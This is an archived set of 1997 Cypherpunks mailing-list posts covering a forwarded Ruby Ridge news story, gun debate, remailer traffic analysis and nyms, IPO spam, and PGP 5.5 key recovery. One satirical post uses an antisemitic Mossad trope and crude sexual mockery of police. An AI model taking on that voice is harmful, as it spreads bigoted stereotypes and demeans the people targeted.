    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 3 Oct 1997 12:47:17 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199710030502.AAA29773@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN logo 
   Navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Main banner Move the corporate ladder to your back yard. Because you
   can. VAIO/Sony rule
   
                      JUDGE THROWS OUT RUBY RIDGE CHARGES
                                       
     Randy Weaver's house October 2, 1997
     Web posted at: 8:36 p.m. EDT (0036 GMT)
     
    Latest developments:
     * Judge invokes double-jeopardy law
     * Harris accused of killing U.S. marshal
     * Charges against FBI agent unaffected
       
     
     
     BONNERS FERRY, Idaho (CNN) -- An Idaho judge dismissed a state
     murder charge against a man accused of killing a federal agent in
     the Ruby Ridge shootout, saying he can't be tried again after his
     acquittal of murder in federal court.
     
     Idaho Magistrate Judge Quentin Harden ruled Thursday that the charge
     against Kevin Harris violate a state law barring prosecution of
     someone who faced the same charges in another "state, territory or
     country."
     
     Prosecutor Denise Woodbury, who charged Harris and FBI marksman Lon
     Horiuchi in state court in August, had argued that the state
     double-jeopardy law was meant to cover prosecutions in other
     countries, not the United States.
     
     "I find that (Idaho law) bars further prosecution of Kevin Harris
     for the acts set forth ... in the complaint in this case," Harden
     said.
     
     "To rule that the courts of the United States of America do not come
     under 'another state, territory, or country' would be an anomalous
     result -- giving more credence to the courts of another country than
     to the courts of our own nation," Harden wrote.
     
  Harris accused of killing U.S. marshal
  
     Standoff scene
     
     Harris, 29, of Republic, Washington, was accused in the shooting
     death of deputy U.S. Marshal William Degan and of shooting at
     another agent in the August 21, 1992, shootout that precipitated an
     11-day siege at the cabin of white separatist Randy Weaver.
     
     A friend of Weaver's, Harris was staying at the cabin during the
     shootout and was wounded by an FBI sniper's bullet. Weaver's
     14-year-old son, Sam, was killed in the gunfight. His wife, Vicki
     Weaver, was later shot and killed during the siege by the FBI's
     Horiuchi.
     
     The shootout has become a rallying point for some groups who believe
     federal law enforcement has encroached too much on citizens' rights.
     
     
     Weaver and Harris were tried and acquitted of federal charges in
     1993.
     
     But in August, Woodbury charged Harris with first-degree murder in
     Degan's death and assault with a deadly weapon against Arthur
     Roderick, another law enforcement officer. Harden also dismissed the
     assault charge.
     
     Woodbury also charged Horiuchi with involuntary manslaughter in the
     death of Vicki Weaver.
     
  Charges against FBI agent unaffected
  
     
     
     Harden's ruling doesn't affect the charge against Horiuchi, who has
     never been tried in any court. His lawyers have indicated they will
     try to move his case to a federal court.
     
     Harris was at his job as a welder when he received the news that the
     murder charge against him had been dismissed, said Diane Peters, his
     business partner at Eagle Industries.
     
     "We were hoping what was fair and just would turn out," Peters said.
     
     
     Harris himself did not return a phone call, and Woodbury declined to
     comment on Harden's ruling.
     
     Reuters contributed to this report.
     
    
   rule
   
  Related stories:
     * Both sides decry new Ruby Ridge charges - August 21, 1997
     * FBI senior officials won't be charged in Ruby Ridge siege - August
       15, 1997
     * Former FBI section chief pleads guilty, admits destroying Ruby
       Ridge report - October 30, 1996
     * FBI official charged with obstruction after concealing Ruby Ridge
       report - October 22, 1996
       
  Related sites:
  
     Note: Pages will open in a new browser window
     * United States Department of Justice Home Page
     * Federal Bureau of Investigation
       
     
     
     External sites are not endorsed by CNN Interactive.
     
   
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   You said it... [INLINE] Move the corporate ladder to your back yard.
   Because you can. VAIO/Sony rule
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   All Rights Reserved.
   
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Law Abiding Citizen <lac@dev.null>
Date: Fri, 3 Oct 1997 14:27:01 +0800
To: cypherpunks@toad.com
Subject: Newbie Question
Message-ID: <34348B4C.6B63@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



I'm new to encryption, having just purchased PGP. I want to abide by
the law, but I don't know who to send a copy of my secret key to.

Do I send it to the FBI guy who shot the unarmed woman, the FBI guy,
Kahoe, who ordered evidence of the FBI murder of citizens destroyed,
or to one of the other four top FBI officials who helped with the
cover-up?
Do I have to send a copy of my secret key to the CIA, as well? If so,
do I just give it to my drug dealer and have him pass it along to his
connection, or should I just give it to a Jewish person and tell them
to have the Mossad pass it along to the CIA?

Also, I like sticking large, foreign objects in my rectum. Can I legally
do that myself, with a toilet plunger, or are they restricted to only
use by LEA's in meeting the legitimate needs of law enforcement.

Insincerely,
A.L-A. Citizen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 3 Oct 1997 16:03:33 +0800
To: cypherpunks@toad.com
Subject: Re: "Show me an example of terrorists using the Internet or (fwd)
Message-ID: <3.0.32.19971003000347.006ac138@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:

>> Stalkers, thieves, rapists, drug addicts, perverts, etc., or just real
>> animals from the animal kingdom, strike at the most inopportune times, when
>> there are no officially sanctioned police forces around to be of help.
>
>I have to object to the inclusion of drug addicts, they do what they do
>because the legislators and police want to stick their noses in other
>peoples business. If drug addicts resort to crime then society as a whole
>must garner some of the responsibility of putting them in that situation.
....................................................


We weren't discussing why people commit crimes against others, Jim.  We
were discussing the disagreeability of having & using guns.

And yes, killing doggies is also a Bad Thing.   Generally.  ('cept when
they're foaming at the mouth, snarling, with red blazing eyes, lunging
directly at you.   That is a Very Bad Doggie.)

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 3 Oct 1997 12:55:01 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: http:--www.cnn.com-US-9710-01-shooting.update- (fwd)
Message-ID: <199710030508.AAA29887@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: geeman@best.com
> Date: Thu, 02 Oct 1997 20:47:35 -0700
> Subject: Re: http:--www.cnn.com-US-9710-01-shooting.update-

> Crypto relevance?  Naturally: this wouldn't have happened if strong crypto
> were outlawed!

> >               TEEN KILLS 2 AT SCHOOL; MOTHER FOUND DEAD AT HOME
> >                                       
> >     Woodham October 1, 1997
> >     Web posted at: 3:38 p.m. EDT (1938 GMT)
> >     
> >     PEARL, Mississippi (CNN) -- A Mississippi teen-ager slashed his
> >     mother's throat Wednesday morning before going on a shooting rampage
> >     at his high school that left two students dead and at least six
> >     wounded, authorities said.

This list is involved with much more than just crypto. These were submitted
as further datum in the ongoing guns discussion.

You might try using procmail filtering on 'gun' to eliminate such traffic.

The Cypherpunks Creedo: Empower yourself and quit bothering me.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Fri, 3 Oct 1997 13:13:21 +0800
To: ravage@ssz.com (Jim Choate)
Subject: Re: Digital Postage (fwd)
In-Reply-To: <199709282104.QAA09234@einstein.ssz.com>
Message-ID: <199710030509.AAA00490@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



He of the Hyperlong .sig said:

> Ask yourself this, how attractive would the Internet have been if it had
> required users to install and manage multiple communications protocols for
> every connection?

	You mean like FTP, NNTP, HTTP, SMTP & etc.?

Rudy can't fail.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 3 Oct 1997 13:54:55 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Digital Postage (fwd)
Message-ID: <199710030610.BAA30179@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Digital Postage (fwd)
> Date: Fri, 3 Oct 1997 00:09:22 -0500 (CDT)
> From: "snow" <snow@smoke.suba.com>

> He of the Hyperlong .sig said:

I could make it even longer if it would irritate you more...

> > Ask yourself this, how attractive would the Internet have been if it had
> > required users to install and manage multiple communications protocols for
> > every connection?
> 
> 	You mean like FTP, NNTP, HTTP, SMTP & etc.?
> 
> Rudy can't fail.

No, not services, network protocols

TCP/IP/UDP...IPX...NetBUI...Lantastic...MosesLAN...ParNet...etc.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Fri, 3 Oct 1997 14:07:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Traffic Analysis
In-Reply-To: <199710030423.XAA29605@einstein.ssz.com>
Message-ID: <3.0.3.32.19971003013456.0356271c@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 11:23 PM 10/2/97 -0500, Jim Choate wrote:
>Why/how does it decide to throw them away? Does the incoming produce cover
>traffic even if its thrown away? Traffic analysis generaly does not look at
>the contents of the packets, encrypted or not is irrelevant.

Remailers in general will throw away messages at times.  Sometimes on
purpose, sometimes by accident.  This is not replaced by any cover traffic.
 For purposes of argument, we could say that a remailer throws away
messages that violate usage policies.  This accounts for some amount of
traffic, let's just say 10% to name a figure.  Of course this sounds
reprehensible, so you ask what sort of message gets thrown out?  Some
examples might be:

 * 3,000 copies of the same message to the same person
 * Any mail from Sanford Wallace at Cyberpromo.com
 * A 300MB mailbomb

Basically some messages that constitute abuse (without examining actual
content) get tossed.  These are "valid" messages from people which the
remailer might decide to not continue to send.  Much of this mail never
even reaches the remailer code as it gets tossed at an earlier level.
Since about 10% of incoming traffic gets tossed, it would seem that this
would somehow effect traffic analysis.  This traffic is not replaced, and
much of the dropped traffic is not even know to the remailer.  How much
would this actually effect traffic analysis?

As a side point, software problems will at times cause chained messages to
get tossed.  From time to time certain remailers become incompatible with
each other, or user held public keys do not get updated properly.  This
will also cause messages to get tossed.

>By 'nym' you mean each subscribed address or to each address used in the
>outgoing? I would say it is bad to send to subscribers.

Cracker sends messages as "Anonymous" and does not allow replies to be
returned to the sender.  Redneck on the other hand allows each user to pick
a pseudonym and allows relies to be returned to the sender.  This is known
as a "nym".  The whole point of a nym is to be able to receive replies (as
well as establish reputation capital).  People who have nyms on the
remailer want to receive email back to them.  Nyms are managed and
authenticated with PGP.  My question is would it foil traffic analysis if a
number of remailer server generated messages were to go out to the nyms
without ever having matching incoming traffic?

>A commercial remailer should not keep records of its use. However, I suspect
>that eventualy remailers will be required to keep usage records by law.

I'd be willing to be involved in a first amendment challenge against any
such law.  I suspect we would win in the US.  At least we won the last 1st
amendment challenge against remailers.  (ACLU vs Miller)


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Fri, 3 Oct 1997 19:46:55 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Stronghold
Message-ID: <3438505d.13845235@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain




>Nope.  Like I said, I'm not selling Stronghold or any competing product, I
>don't lose anything when someone foolishly buys it, so why should I present
>any evidence?  I (and several other people on this mailing list) were threatened
>by C2Net's lawyers; so to avoid unpleasant disputes, I told them I won't be
>publishing whatever I might know about their product.
>
So, why don't you (and several other people on this mailing list) use the
ananymous remailers to present your evidence.  Others have wondered why
people would use remailers.  Here's a prime example.  Use the remailer (if
you have anything to say).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 3 Oct 1997 14:50:48 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Traffic Analysis (fwd)
Message-ID: <199710030707.CAA30296@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 03 Oct 1997 01:34:56 -0400
> From: "Robert A. Costner" <pooh@efga.org>
> Subject: Re: Traffic Analysis 

> Remailers in general will throw away messages at times.  Sometimes on
> purpose, sometimes by accident.  This is not replaced by any cover traffic.

Perhaps this should be added.

>  For purposes of argument, we could say that a remailer throws away
> messages that violate usage policies.  This accounts for some amount of
> traffic, let's just say 10% to name a figure.

Way too high for commercial use. Get it down to something like .01 and that
would be workable I suspect (haven't done the math). Course this raises the
issue of who pays for dumped mail on a commercial box. Should the customer
pay since it was their action that instigated the drop? Or perhaps the
remailer since they were selling a service which they didn't provide at
their discretion?

>  Of course this sounds
> reprehensible,

Not to me. It's your box and your money, set any policy that you desire.
If I as a user don't like it, I'll beat feet...

> so you ask what sort of message gets thrown out?  Some
> examples might be:
> 
>  * 3,000 copies of the same message to the same person
>  * Any mail from Sanford Wallace at Cyberpromo.com
>  * A 300MB mailbomb

Let's generalize a bit to see if we can get a clearer picture.

 -   traffic that seems to be duplicate.

     What if the digital signature on each one is valid implying the
     originator intended to send the 3,000 pieces. Do you dump them
     and take the money?

 -   traffic from specific parties whose reputation capital is low.

     As a business should this really matter as long as the creetin
     pays the bill?

 -   traffic of an abnormal format

     Don't see any issues with this one.

Are there any other classes that you can think of that you might want to
filter on?

> Basically some messages that constitute abuse (without examining actual
> content) get tossed. 

Ok, so you are doing header filtering.

> These are "valid" messages from people which the
> remailer might decide to not continue to send.  Much of this mail never
> even reaches the remailer code as it gets tossed at an earlier level.
> Since about 10% of incoming traffic gets tossed, it would seem that this
> would somehow effect traffic analysis.  This traffic is not replaced, and
> much of the dropped traffic is not even know to the remailer.  How much
> would this actually effect traffic analysis?

Let's see if we can put some numbers to it...

We receive n pieces of mail. n/10 is tossed at reception based on header
filtering. For each mail that gets to the remailer code we sent m cover
messages and 1 real message.

So the remailer handles a total of (n - n/10) + (m + 1)(n-n/10)  pieces in a
given time period, t. Let z stand for (n - n/10) the actual number of
processible traffic, we can reduce this to z + (m + 1) z.

Let's assume now that we go ahead and transmit cover for those emails we get
something like z + (m + 1) z + m ( n/10 ). We don't add a 1 to the m(n/10)
because we don't have a real outgoing to process.

So the total traffic load of the remailer can be represented by:

 L = z + (m + 1) z + m ( n/10 )

or,

 L = (n - n/10) + (m + 1)(n - n/10) + m(n/10)

Now if you look at a travelling salesman problem you see quickly that the
complexity grows quite quickly. This produces a traffic analysis load of
something of the form,

 T = L ^ v

Where v represents the complexity factor in dealing with the possible
combinations possible.

So, without actualy plugging numbers in there, I would say it looks like a
small increase in output could grow pretty quickly because of the power
growth factor in the extra traffic and processing it.

> As a side point, software problems will at times cause chained messages to
> get tossed.  From time to time certain remailers become incompatible with
> each other, or user held public keys do not get updated properly.  This
> will also cause messages to get tossed.

Ok, let's add a 'software failure' category.

> Cracker sends messages as "Anonymous" and does not allow replies to be
> returned to the sender.  Redneck on the other hand allows each user to pick
> a pseudonym and allows relies to be returned to the sender.  This is known
> as a "nym".  The whole point of a nym is to be able to receive replies (as
> well as establish reputation capital).  People who have nyms on the
> remailer want to receive email back to them.  Nyms are managed and
> authenticated with PGP.  My question is would it foil traffic analysis if a
> number of remailer server generated messages were to go out to the nyms
> without ever having matching incoming traffic?

If I understand you the remailer would send outbound traffic to its input
for distribution to your subscribers? I don't believe it would factor into
the analysis at all if all the source destinations are the same. Outbound
traffic from party A that went to party B would be important to track. So,
if you wanted to do this sort of stuff and you wanted Mallet to chase their
tail I would randomly pick source addresses from my subscriber base and send
the bogus messages to my subscribers making shure nobody received an email
from themselves. Then it looks like everyone is involved in a conspiracy...

> >A commercial remailer should not keep records of its use. However, I suspect
> >that eventualy remailers will be required to keep usage records by law.
> 
> I'd be willing to be involved in a first amendment challenge against any
> such law.  I suspect we would win in the US.  At least we won the last 1st
> amendment challenge against remailers.  (ACLU vs Miller)

It has nothing to do with limiting speech so I doubt you'd have a 1st leg to
stand on. Furthermore, the 1st doesn't guarantee the right to anonymity. If
you want to claim that as a fundamental right you'd need to use the 9th and
10th. It does have to do with being able to trace the perp back if
needed. I am not saying I agree with it, just recognize that reasonable
people will see this lack of tracability via a court order as a clear threat
to their security at all levels.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Fri, 3 Oct 1997 22:06:10 +0800
To: cypherpunks@Algebra.COM
Subject: Re: "Show me an example of terrorists using the Internet or crypto"
In-Reply-To: <6489040e71db5edc2ab5e653cb709620@anon.efga.org>
Message-ID: <m0xGx0k-0003bQC@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous <anon@anon.efga.org> writes:

>I have to confess that I am surprised at the level of resentment among
>the members of various Europeans countries feel towards other European
>countries.  For example, the Germans don't like the Dutch because when
>they visit they are treated badly by, among others, the police.

Nonsense.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 3 Oct 1997 10:36:45 +0800
To: cypherpunks@toad.com
Subject: NoneRe: Remailers and ecash
In-Reply-To: <5e155060a3b43cba398de593edc98bd6@anon.efga.org>
Message-ID: <199710030205.EAA01934@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Monty Cantsin wrote:

> > - Everyone a remailer.  Remailers only accept messages from other
> >   remailers.  To use remailers you must run a remailer.
> 
> I don't grow my own wheat, grind it up, and then make my own bread.  I
> also prefer not to run a remailer.

You don't have to.  You pay someone to bake your bread for you, and you can
pay someone to run your remailer for you.

This idea has been around since remailers began.  The basic premise is that
a group of remailers are set up which only accept mail from other remailers.
A pinging system can be set up to verify that all the remailers are
operating correctly.

The catch is that in practice each remailer is only required to accept mail
from other remailers, but can actually accept mail from anybody the operator
wants to.  So if you don't want to run a remailer, just pay someone to run a
remailer on your behalf, and then you can send anonymous messages through
that person's site.

Thus forwarding within the remailer network is free, but it costs money to
insert new messages.  This scheme is a little more flexible than attaching
ecash to each message because you can arrange any type of fee schedule you
like, such as a flat rate per month.

There's also the reverse of this, where remailers accept from anyone, but
only send to other remailers.  Thus you have to pay to get your messages
out of the remailer network.  This is more restrictive because the payment
must be anonymous.


> > - Pay for access to an anonymous message pool
> 
> Interesting!

Sign up with an ISP that offers alt.anonymous.messages.  This one is a
no-brainer. (and profitable for the ISP)

This results in a system where sending messages is essentially free (since
free remailers exist) but it costs money to receive them.  So far it seems
to be successful, at least for those who pay a flat fee for usenet access.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Fri, 3 Oct 1997 17:44:59 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Traffic Analysis
In-Reply-To: <199710030707.CAA30296@einstein.ssz.com>
Message-ID: <3.0.3.32.19971003054158.006d9664@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 02:07 AM 10/3/97 -0500, Jim Choate wrote:
>>  For purposes of argument, we could say that a remailer throws away
>> messages that violate usage policies.
>
>Way too high for commercial use. Get it down to something like .01 and that
>would be workable I suspect (haven't done the math).

You may be confusing actual traffic, with valid customer traffic. (BTW -
the 10% reject figure was totally pulled out of the air.  Since there is no
logging on a remailer, I'm just making an educated guess.)  Almost all
commercial sendmail implementations reject a large amount of traffic and
call it "spam filtering".  It's very effective, but the fact is that
incoming mail traffic is blocked before any program such as a remailer can
see the messages.  Some of this is done by IP address, some is done through
other methods.  I'm merely suggesting that a commercial remailer will have
similar policies.  A remailer will also toss any email that is not
addressed to a deliverable recipient.  Apparently some people can't type.
:)  I'm not suggesting anything is happening here other than what occurs
with an ISP and normal email.  Or what usage polices claim are allowable.
I'm merely pointing out that like any ISP, some mail is tossed.

>Course this raises the
>issue of who pays for dumped mail on a commercial box. Should the customer
>pay since it was their action that instigated the drop? Or perhaps the
>remailer since they were selling a service which they didn't provide at
>their discretion?

For usage policies, I would think it is the originating user's fault.  For
middleman mail rejects, it is the middleman remailer's fault.  For public
key errors, it is the originating user's fault.  For the cases mentioned, I
wouldn't put the blame on the initial remailer.

>Let's generalize a bit to see if we can get a clearer picture.
....
>Are there any other classes that you can think of that you might want to
>filter on?

You can sum it up by saying messages are tossed due to

 * Spam
 * Denial Of Service (DOS) attacks
 * typing errors

>If I understand you the remailer would send outbound traffic to its input
>for distribution to your subscribers? I don't believe it would factor into
>the analysis at all if all the source destinations are the same. Outbound
>traffic from party A that went to party B would be important to track.

Giving an example that overly simplifies things... I think my idea here was
that for some number of nyms, they would each receive an average of, say,
five messages each day.  All five messages would be addressed from the
remailer and PGP encrypted.  Four of the messages would be from real people
trying to communicate with the owner of the nym.  One would be a bogus
message sent to confuse traffic analysis.  All four real messages would
come into the remailer encrypted to the remailer and addressed to the
remailer.  My thought was that fake outgoing messages to the nym would look
identical to real messages, thereby helping obscure the "mix" just a little
better.  This helps hide the identity of the sender of the email that is
headed to a nym.

To define nym again, a nym is someone who has registered a real email
address with the remailer.  For instance, ravage@anon.efga.org might remail
to ravage@ssz.com.  So it would be possible for someone to send a message
to remailer@anon.efga.org that would ultimately arrive at ravage@ssz.com,
but the sender would have no idea of who the final destination of the
email.  The remailer keeps this info in an internal database (as it must)
and is not available to anyone other than the remailer software.  There
would be no way, without traffic analysis, for a connection to be made
between the sender and the recipient.

>It has nothing to do with limiting speech so I doubt you'd have a 1st leg to
>stand on. Furthermore, the 1st doesn't guarantee the right to anonymity. 

Having just spent a year and a half involved in a federal court case over
the 1st amendment right to anonymity on the net, and winning, I'd have to
disagree with you here.  Our affidavit specifically mentioned remailers,
among other things.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: edwin@witcapital.com
Date: Fri, 3 Oct 1997 19:14:44 +0800
To: cypherpunks@toad.com
Subject: IPO ALERT:  C.H. Robinson Worldwide, Inc. Available Through Wit Capital
Message-ID: <199710031057.DAA22277@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Wit Capital Corporation is pleased to announce that we are able to provide first-come first-serve participation in the following initial public offering:

Issuer:  C.H. Robinson Worldwide, Inc. is the largest third party logistics company in North America with 1996 gross revenue of $1.6 billion.  The company is a global provider of multimodal transportation services and logistics solutions through a network of 116 offices in 38 states and Canada, Mexico, Belguim, The United Kingdom, France, Spain, Italy, Singapore and South Africa.

Security:  Common Stock

Expected Size of Offering:  10,578,396  shares

Expected Price Range:  $15.00 to $17.00

Managing Underwriters:  BT Alex Brown Incorporated,  Morgan Stanley & Co. Incorporated,  Piper Jaffray Inc.

If you think you may be interested in this Initial Public Offering available first- come first-serve through Wit Capital, please visit http://www.witcapital.com.  You can view, print or download the Preliminary Prospectus from our New Issues Section.  Investors can also call Wit Capital at (888) 4-WITCAP for more information.


A REGISTRATION STATEMENT RELATING TO THESE SECURITIES HAS BEEN FILED WITH THE SECURITIES AND EXCHANGE COMMISSION BUT HAS NOT YET BECOME EFFECTIVE.  THESE SECURITIES MAY NOT BE SOLD NOR MAY OFFERS TO BUY BE ACCEPTED PRIOR TO THE TIME THE REGISTRATION STATEMENT BECOMES EFFECTIVE.  THIS COMMUNICATION SHALL NOT CONSTITUTE AN OFFER TO SELL OR THE SOLICITATION OF AN OFFER TO BUY, NOR SHALL THERE BE ANY SALE OF THESE SECURITIES IN ANY JURISDICTION IN WHICH SUCH OFFER, SOLICITATION OR SALE WOULD BE UNLAWFUL PRIOR TO REGISTRATION OR QUALIFICATION UNDER THE SECURITIES LAWS OF SUCH JURISDICTION.

Wit Capital Corporation
Member NASD  SIPC






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Fri, 3 Oct 1997 23:00:59 +0800
To: risks@csl.sri.com
Subject: New PGP "Everything the FBI ever dreamed of"
Message-ID: <v03102800b05aaebebd1c@[17.219.102.47]>
MIME-Version: 1.0
Content-Type: text/plain



An article in today's (Fri, Oct 3) New York Times (CyberTimes)
<http://www.nytimes.com/library/cyber/week/100397pgp.html>
describes the new release of "PGP for Business Security 5.5," which
contains mechanisms that incorporate key recovery mechanism that can either
be volontary or be enforced by using PGP's software for controlling a
company's SMTP server -- the server can verify that all encrypted messages
include the corporate public key (or conform to other corporate policies):

"The new version also includes some of the most sophisticated techniques
for enforcing this policy through the corporation. The most novel may be a
new version of software controlling a company's SMTP server, the machine
that acts as the central mailroom for a corporation. PGP provides a
software agent that will read all of the mail to make sure that it complies
with the corporate policy. This may include requiring all messages to be
signed with digital signatures or include a backdoor that the management
can use to read the message. If the software agent discovers a message
violates the policy, it can either return it to sender or simply log a copy.

"PGP implements the backdoor with a central key. Each message is  encrypted
with both the public key of the recipient and the public key of the
management. The message can only be read by someone holding the
corresponding private keys, in this case the recipient and the management.
The software allows the management to use different master keys for
different departments by customizing the software.

... "Bruce Schneier, an encryption expert and author of the popular book
Applied Cryptography, said that the new announcement "sounds like
everything the FBI ever dreamed of." He also predicts that criminals will
find ways to circumvent the restrictions while honest people may be more
vulnerable to illicit use of the master key."
---
Coincidently, the same issue of the New York Times has an editorial
<http://www.nytimes.com/yr/mo/day/editorial/03fri4.html> attacking
FBI director Louis Freeh's request that Congress "outlaw the
manufacture and distribution of encryption programs the Government cannot
instantly crack.

Martin Minow minow@apple.com








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 3 Oct 1997 20:22:03 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: "Show me an example of terrorists using the Internet or (fwd)
Message-ID: <199710031234.HAA30845@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 03 Oct 1997 00:08:09 -0700
> From: Blanc <blancw@cnw.com>
> Subject: Re: "Show me an example of terrorists using the Internet or
>   (fwd)

> >> Stalkers, thieves, rapists, drug addicts, perverts, etc., or just real
> >> animals from the animal kingdom, strike at the most inopportune times, when
> >> there are no officially sanctioned police forces around to be of help.
> >
> >I have to object to the inclusion of drug addicts, they do what they do
> >because the legislators and police want to stick their noses in other
> >peoples business. If drug addicts resort to crime then society as a whole
> >must garner some of the responsibility of putting them in that situation.
> 
> We weren't discussing why people commit crimes against others, Jim.  We
> were discussing the disagreeability of having & using guns.

True but my objection is to the line of reasoning you use to get to where
you are. Let me try another example...

"Stalkers, thieves, rapists, Jews, perverts, etc., or just real animals..."


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Fri, 3 Oct 1997 16:10:56 +0800
To: Phillip Hallam-Baker <cypherpunks@cyberpass.net>
Subject: RE: counter-intuitive -- spam is good for you.  anonymous assholes are your friend
In-Reply-To: <01BCCF84.84FC2100.hallam@ai.mit.edu>
Message-ID: <199710030803.CAA17846@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 971002:2232 
    Phillip Hallam-Baker <hallam@ai.mit.edu> purported to expostulate:

+On Thursday, October 02, 1997 11:54 AM, 
    Attila T. Hun [SMTP:attila@hun.org] wrote: 

+> if Phill is secure, what difference does it make if you assault 
+> him?  my guess is he is not secure, and probably has no clue how
+> to get from there to secure.
